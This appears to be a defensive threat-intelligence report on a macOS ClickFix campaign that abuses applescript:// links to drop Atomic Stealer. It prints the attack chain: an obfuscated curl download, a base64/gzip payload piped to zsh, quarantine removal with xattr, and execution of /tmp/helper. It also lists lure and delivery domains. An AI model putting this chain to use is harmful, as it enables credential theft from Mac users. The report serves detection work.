Summary

Attackers have adapted the ClickFix social engineering technique for macOS by abusing the applescript:// URL scheme to invoke Script Editor with pre-loaded malicious AppleScript code — bypassing macOS 15.4’s new Terminal paste-command scanning. The attack delivers a two-stage obfuscated payload that ultimately drops Atomic Stealer (AMOS), a credential and data-harvesting infostealer, as a Mach-O binary in /tmp/helper.

File Paths & Artifacts

macOS

/tmp/helper          # Downloaded Atomic Stealer Mach-O binary (execution staging location)

Key File Breakdown

File / ArtifactPurpose
/tmp/helperAtomic Stealer binary; written to /tmp to avoid user-visible locations; xattr -c used to strip quarantine flags before execution
AppleScript payload (in-memory)Pre-filled malicious script opened in Script Editor via applescript:// URL scheme; triggers the download chain on user interaction
Obfuscated curl commandStage 1 payload — URL is reconstructed at runtime using tr cipher to evade static detection
Base64/gzip shell scriptStage 2 payload retrieved via curl; decoded in-memory and piped directly to zsh to avoid touching disk

Tools & Techniques

Tool / CommandUsage
applescript:// URL schemeTriggers Script Editor to open with pre-filled code — bypasses Terminal paste-command scanning introduced in macOS 15.4
curl -kDownloads stage 2 payload with TLS validation disabled (-k flag)
trRuntime string transformation to reconstruct obfuscated URLs — avoids static IOC detection
base64Encodes/decodes stage 2 payload
gunzipDecompresses stage 2 payload
xattr -cRemoves extended attributes (quarantine flags) from downloaded binary
chmod +xMakes downloaded binary executable
zshExecutes decoded payload in-memory via pipe
Script EditorApple’s built-in AppleScript IDE — abused as proxy executor, not a typical execution vector

Stage 1 — Obfuscated Curl Command (conceptual)

# URL is reconstructed at runtime using tr cipher, e.g.:
curl -k "$(echo 'obfuscated_string' | tr 'A-Za-z' 'N-ZA-Mn-za-m')"

Stage 2 — In-Memory Decode and Execute

# Decoded payload executed entirely in-memory:
echo "<base64_blob>" | base64 -d | gunzip | zsh

Stage 3 — Binary Staging

xattr -c /tmp/helper
chmod +x /tmp/helper
/tmp/helper

Attack Prerequisites

  • Minimum access required: Zero — social engineering only (user visits a fake Apple maintenance page)
  • Achievability: High — victim is presented with a convincing fake Apple webpage and instructed to click “Fix” which triggers the applescript:// URL; Script Editor opens, victim manually runs the pre-filled script
  • Gatekeeper bypass: Extended attribute removal (xattr -c) strips the quarantine bit before the binary is executed, preventing Gatekeeper from flagging the file

macOS 15.4 Bypass Context

macOS 15.4 introduced paste-command scanning for Terminal — when a user pastes a command into Terminal, macOS can inspect and warn about it. This attack sidesteps that control entirely by:

  1. Using Script Editor instead of Terminal as the execution environment
  2. Pre-filling the script via applescript:// URL so no clipboard paste occurs

This is an attacker pivot in response to a macOS security control, demonstrating that ClickFix TTPs actively evolve around defensive mitigations.

Attacker Stealth & Anti-Forensic Techniques

  • Multi-stage obfuscation: tr cipher for URL reconstruction + base64/gzip encoding for payload
  • In-memory execution: Stage 2 payload piped directly to zsh — never touches disk as a standalone file
  • Quarantine flag removal: xattr -c strips macOS extended attributes before binary execution, bypassing Gatekeeper
  • TLS validation disabled: -k flag in curl suppresses certificate errors, enabling use of attacker-controlled infrastructure with self-signed certs

IOCs

Domains

  • dryvecar.com — payload delivery
  • storage-fixes.squarespace.com — fake Apple maintenance page (lure)
  • cleanupmac.mssg.me — associated infrastructure

File Hashes

FileSHA256
helper (Atomic Stealer binary)3d3c91ee762668c85b74859e4d09a2adfd34841694493b82659fda77fe0c2c44

Detection Opportunities

References